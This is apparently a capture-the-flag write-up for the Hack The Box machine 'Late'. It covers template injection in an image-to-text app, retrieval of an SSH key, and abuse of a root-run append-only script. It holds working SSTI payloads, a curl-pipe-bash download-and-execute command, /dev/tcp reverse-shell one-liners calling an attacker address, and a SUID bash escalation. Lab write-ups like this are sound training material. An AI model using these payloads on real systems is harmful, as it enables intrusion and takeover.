IP Address: 10.10.11.156
Key Exploitation Techniques:
- Server-Side Template Injection (SSTI) for RCE
- SSH for stable user access
- Information disclosure (root-owned script with append-only attribute)
- Root-executed script manipulation for RCE
Enumeration#
$ nmap -sC -sV -A -p- 10.10.11.156
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Scan identified SSH and Nginx on port 80.

A hyperlinked text pointed to http://images.late.htb/, which was added to /etc/hosts.

Accessing the images website indicated it was running on Flask, and is an “image to text” conversion tool.
Testing the image-to-text conversion by uploading an image containing “Shiro” resulted in a text file with <p>Shiro</p>.
$ cat /home/shiro/Downloads/results.txt
<p>Shiro
</p>
Exploitation#
Server-Side Template Injection (SSTI) for RCE (svc_acc)#
To test for SSTI, the text {{1+1}} was converted to an image and uploaded. The resulting text file contained <p>2</p>, confirming SSTI.
$ cat /home/shiro/Downloads/results\(1\).txt
<p>2
</p>
To bypass potential image parsing issues, the payload was made wider with spaces (e.g., { { 1 + 1 } }) or by adjusting zoom levels during image creation.
A working SSTI payload was identified from PayloadAllTheThings: {{ cycler.__init__.__globals__.os.popen('id').read() }}. Uploading an image with this payload returned command output.
$ cat /home/shiro/Downloads/results\(2\).txt
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
</p>
Confirmed RCE as svc_acc. A reverse shell was prepared by hosting a bash script (rev.sh) on the attacking machine.
# rev.sh content
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/10.10.14.4/1234 <&1'
# On attacker, serve rev.sh
$ python3 -m http.server 80 # Or any web server
# On attacker, set up Netcat listener
$ nc -nlvp 1234
listening on [any] 1234 ...
The SSTI payload was modified to download and execute the reverse shell script: {{ cycler.__init__.__globals__.os.popen('curl http://10.10.14.4/rev.sh | bash').read() }}. This payload was converted to an image and uploaded to the web application.
# Reverse shell received
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.156] 45300
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
svc_acc@late:~/app$
Got a reverse shell as svc_acc.
Privilege Escalation#
Append-Only Root Script Abuse (Root)#
For a more stable shell, svc_acc’s SSH private key (~/.ssh/id_rsa) was retrieved.
svc_acc@late:~/app$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
...
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
The key was saved locally, permissions were set (chmod 600 id_rsa), and SSH access was established.
$ ssh svc_acc@10.10.11.156 -i id_rsa
svc_acc@late:~$
Initial checks with su - and sudo -l were unsuccessful. A broad find command for files owned by svc_acc was initiated, then filtered to exclude common noisy directories.
svc_acc@late:~$ find / -user svc_acc 2>/dev/null | grep -v '/proc\|/home\|/var\|/sys\|/run'
/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/dev/pts/0
The file /usr/local/sbin/ssh-alert.sh was identified. Inspecting its contents revealed it was a script designed to send email alerts on SSH logins.
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
# ...
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
To confirm if ssh-alert.sh was executed by root, pspy64 was uploaded and run on the target. Then, a new SSH connection to svc_acc was initiated from another terminal on the attacking machine.
# On attacker, serve pspy64
$ python3 -m http.server 80
# On target, download and execute pspy64
svc_acc@late:~$ wget http://10.10.14.4/pspy64
svc_acc@late:~$ chmod +x pspy64
svc_acc@late:~$ ./pspy64
...
# In another terminal, SSH to svc_acc
$ ssh svc_acc@10.10.11.156 -i id_rsa
# pspy64 output confirmed root execution:
2022/08/20 08:08:22 CMD: UID=0 PID=1922 | /bin/bash /usr/local/sbin/ssh-alert.sh
The lsattr command was used to check the file attributes of ssh-alert.sh. The a attribute (-----a--------e---) indicated it was append-only, preventing direct modification but allowing data to be added to its end.
svc_acc@late:~$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
A reverse shell payload was appended to ssh-alert.sh.
svc_acc@late:~$ echo 'bash -c "exec bash -i &>/dev/tcp/10.10.14.4/9999 <&1"' >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
# ... (original script content) ...
bash -c "exec bash -i &>/dev/tcp/10.10.14.4/9999 <&1"
A netcat listener was started, and a new SSH connection to svc_acc was initiated, triggering the appended reverse shell as root.
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.156] 34786
bash: cannot set terminal process group (2037): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/#
This successfully granted a root shell. The user.txt and root.txt flags were retrieved.
Alternative Privilege Escalation: SUID /bin/bash
As an alternative to a reverse shell, the SUID bit could have been set on /bin/bash by appending chmod u+s /bin/bash to ssh-alert.sh.
svc_acc@late:~$ echo "chmod u+s /bin/bash" >> /usr/local/sbin/ssh-alert.sh
After triggering the script (e.g., by logging in via SSH), executing /bin/bash -p would grant a root shell.
svc_acc@late:~$ /bin/bash -p
bash-4.4# id
uid=1000(svc_acc) gid=1000(svc_acc) euid=0(root) groups=1000(svc_acc)